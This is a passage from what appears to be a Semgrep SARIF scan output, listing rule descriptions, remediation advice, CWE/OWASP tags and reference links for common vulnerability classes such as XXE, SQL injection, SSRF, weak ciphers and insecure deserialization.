`$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","id":"java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","name":"java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea)\n - [https://tools.ietf.org/html/rfc5469](https://tools.ietf.org/html/rfc5469)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#cryptography.hazmat.primitives.ciphers.algorithms.IDEA](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#cryptography.hazmat.primitives.ciphers.algorithms.IDEA)\n","text":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","id":"python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","name":"python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","id":"python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","name":"python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Session Token detected"},"help":{"markdown":"AWS Session Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-session-token.detected-aws-session-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Session Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-session-token.detected-aws-session-token","id":"generic.secrets.security.detected-aws-session-token.detected-aws-session-token","name":"generic.secrets.security.detected-aws-session-token.detected-aws-session-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-session-token.detected-aws-session-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"help":{"markdown":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","id":"cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","name":"cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mysql.mysql-empty-password.mysql-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mysql.mysql-empty-password.mysql-empty-password","id":"go.secrets.mysql.mysql-empty-password.mysql-empty-password","name":"go.secrets.mysql.mysql-empty-password.mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mysql.mysql-empty-password.mysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.open-redirect-pathname.open-redirect-pathname)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.browser.open-redirect-pathname.open-redirect-pathname","id":"javascript.browser.open-redirect-pathname.open-redirect-pathname","name":"javascript.browser.open-redirect-pathname.open-redirect-pathname","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.open-redirect-pathname.open-redirect-pathname"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this."},"help":{"markdown":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy)\n - [https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services#configuring-the-role-and-trust-policy](https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services#configuring-the-role-and-trust-policy)\n - [https://dagrz.com/writing/aws-security/hacking-github-aws-oidc/](https://dagrz.com/writing/aws-security/hacking-github-aws-oidc/)\n","text":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","id":"terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","name":"terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"java.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://dispatchhttp.org/Dispatch.html](https://dispatchhttp.org/Dispatch.html)\n","text":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","id":"scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","name":"scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors)\n - [https://flask.palletsprojects.com/en/3.0.x/debugging/](https://flask.palletsprojects.com/en/3.0.x/debugging/)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","id":"python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","name":"python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.debug.debug-flask-passthrough-errors.debug-flask-passthrough-errors"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities."},"help":{"markdown":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using insecure deserialization library, backed by `pickle`, `_pickle`, `cpickle`, `dill`, `shelve`, or `yaml`, which are known to lead to remote code execution vulnerabilities."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","id":"python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","name":"python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.avoid-insecure-deserialization.avoid-insecure-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate()."},"help":{"markdown":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess2)\n","text":"multiprocessing.Process.kill() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use terminate()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess2","id":"python.lang.compatibility.python37.python37-compatibility-multiprocess2","name":"python.lang.compatibility.python37.python37-compatibility-multiprocess2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-multiprocess2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues."},"help":{"markdown":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-session.tainted-session)\n - [https://en.wikipedia.org/wiki/Session_poisoning](https://en.wikipedia.org/wiki/Session_poisoning)\n","text":"Session key based on user input risks session poisoning. The user can determine the key used for the session, and thus write any session variable. Session variables are typically trusted to be set only by the application, and manipulating the session can result in access control issues."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-session.tainted-session","id":"php.lang.security.injection.tainted-session.tainted-session","name":"php.lang.security.injection.tainted-session.tainted-session","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-session.tainted-session"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-pytorch.pickles-in-pytorch)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution.  Consider loading from `state_dict`, using fickling, or switching to a safer serialization method like ONNX"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","id":"trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","name":"trailofbits.python.pickles-in-pytorch.pickles-in-pytorch","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-pytorch.pickles-in-pytorch"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf.tainted-ssrf)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf.tainted-ssrf","id":"java.servlets.security.tainted-ssrf.tainted-ssrf","name":"java.servlets.security.tainted-ssrf.tainted-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf.tainted-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","id":"java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","name":"java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jdbc-sqli.jdbc-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference"},"help":{"markdown":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable)\n - [https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/](https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/)\n","text":"Variable `$X` is likely modified and later used on error. In some cases this could result  in panics due to a nil dereference"},"helpUri":"https://semgrep.dev/r/trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","id":"trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","name":"trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable","properties":{"precision":"very-high","tags":["CWE-665: Improper Initialization","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.invalid-usage-of-modified-variable.invalid-usage-of-modified-variable"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy."},"help":{"markdown":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md)\n","text":"The protocol scheme for this proxy is dynamically determined. This can be dangerous if the scheme can be injected by an attacker because it may forcibly alter the connection scheme. Consider hardcoding a scheme for this proxy."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","id":"generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","name":"generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.dynamic-proxy-scheme.dynamic-proxy-scheme"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 